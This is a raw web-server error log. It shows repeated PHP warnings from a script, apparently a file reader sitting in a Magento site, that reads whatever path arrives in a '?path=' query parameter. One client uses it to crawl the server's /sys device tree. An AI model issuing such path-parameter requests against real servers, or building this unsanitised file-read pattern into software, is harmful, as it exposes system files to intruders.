[Thu Mar 26 10:46:41.394289 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:dc
[Thu Mar 26 10:46:41.902136 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:46:46.715653 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 10:46:48.304031 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:46:49.965569 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 10:46:51.542303 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ce
[Thu Mar 26 10:46:55.946946 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:46:58.176731 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:46:59.795624 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 10:47:02.401872 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fc
[Thu Mar 26 10:47:03.355645 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ec
[Thu Mar 26 10:47:06.527673 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:47:09.162856 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:bc
[Thu Mar 26 10:47:18.257803 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ae
[Thu Mar 26 10:47:19.362395 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:47:19.804614 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:47:23.064081 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ae
[Thu Mar 26 10:47:24.563868 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 10:47:26.182800 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ce
[Thu Mar 26 10:47:28.865242 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 10:47:31.553356 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:47:32.581767 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ac
[Thu Mar 26 10:47:34.718373 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ac
[Thu Mar 26 10:47:36.310021 2026] [php:warn] [pid 3107062] [client 74.7.241.26:46990] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:47:48.224914 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ce
[Thu Mar 26 10:47:52.457284 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:47:56.170091 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:47:57.707997 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee
[Thu Mar 26 10:47:58.226653 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:bc
[Thu Mar 26 10:47:59.816783 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ee
[Thu Mar 26 10:48:03.606324 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:be
[Thu Mar 26 10:48:12.024964 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:48:13.017796 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ae
[Thu Mar 26 10:48:15.715285 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:48:20.605633 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ec
[Thu Mar 26 10:48:21.225769 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/drivers/ac
[Thu Mar 26 10:48:21.688262 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ac
[Thu Mar 26 10:48:22.278809 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/device:dc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/device:dc/subsystem
[Thu Mar 26 10:48:23.352068 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ec
[Thu Mar 26 10:48:24.866056 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ac
[Thu Mar 26 10:48:25.401325 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:dc
[Thu Mar 26 10:48:29.100802 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:dc
[Thu Mar 26 10:48:31.744989 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 10:48:39.268208 2026] [php:warn] [pid 3106744] [client 74.7.241.26:53028] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ec
